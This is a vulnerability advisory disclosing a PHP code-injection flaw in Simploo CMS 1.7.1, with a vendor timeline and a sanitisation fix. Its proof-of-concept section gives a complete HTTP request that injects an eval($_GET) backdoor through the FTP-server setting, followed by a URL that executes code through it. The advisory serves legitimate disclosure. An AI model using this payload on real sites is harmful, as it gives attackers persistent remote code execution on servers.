Simploo CMS 1.7.1 PHP Code Execution

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Simploo CMS Community Edition - Remote PHP Code Execution Issue  
  
Details  
=============  
Product: Simploo CMS Community Edition  
Security-Risk: moderated  
Remote-Exploit: yes  
Vendor-URL: http://www.simploo.de/  
Advisory-Status: published  
  
Credits  
=============  
Discovered by: David Vieira-Kurz of MajorSecurity  
  
Affected Products:  
=============  
Simploo CMS 1.7.1 and prior  
  
Description  
=============  
"Simploo CMS is a content management system (CMS)."  
  
More Details  
=============  
I have discovered some vulnerabilities in Simploo CMS, which can be  
exploited by malicious people to compromise a vulnerable system.  
Input passed via the "FTP-Server" field when editing FTP options is not  
properly sanitised in lib/Simploo/Config/Writer/Ini.php before being  
saved to the config/custom/base.ini.php file. This can be exploited to  
inject and execute arbitrary PHP code via a specially crafted parameter  
value. Successful exploitation requires "write" privileges.  
  
Proof of Concept  
=============  
POST /simploo/index.php/sicore/updates/optionssave HTTP/1.1  
Host: localhost User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; de;  
rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6  
Accept: application/json, text/javascript, */*  
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3  
Accept-Encoding: gzip,deflate Accept-Charset:  
ISO-8859-1,utf-8;q=0.7,*;q=0.7  
Keep-Alive: 115  
Proxy-Connection: keep-alive  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest Referer:  
http://localhost/simploo/index.php/sifront/page/show/%5Bdraft%5D1  
Cookie: PHPSESSID=r87k31lhqmbp9707io8r6qr2p6;  
si_admin_selected=si_tree_settings_updates_options;  
si_admin_open=si_tree_settings_general%2Csi_tree_settings_general_system%2Csi_tree_settings_updates%2Csi_tree_settings_bemodules%2Csi_tree_settings_contentelements  
Pragma: no-cache Cache-Control: no-cache Content-Length: 105  
ftpenable=&ftpserver=*%2F+eval%28%24_GET%5Bx%5D%29%3B%2F*&ftpuser=&ftppass=&ftppasv=0&ftpssl=0&ftpremote=  
  
Exploit  
=============  
http://localhost/simploo/config/custom/base.ini.php?x=phpinfo%28%29;  
  
Solution  
=============  
Edit the source code to ensure that input is properly sanitised.  
  
Timeline  
================  
2010-07-16, vulnerability identified  
2010-07-17, vendor contacted and asked for pgp key  
2010-07-19, vendor sent his pgp key  
2010-07-20, vulnerability sent to vendor  
2011-01-18, advisory published after 6 month  
  
Use of terms  
================  
Unaltered electronic reproduction of this advisory is permitted. For all  
other reproduction or publication, in printing or otherwise, contact us  
for permission. Use of the advisory constitutes acceptance for use in an  
"as is" condition. All warranties are excluded. In no event shall  
MajorSecurity be liable for any damages whatsoever including direct,  
indirect, incidental, consequential, loss of business profits or special  
damages, even if MajorSecurity has been advised of the possibility of  
such damages.  
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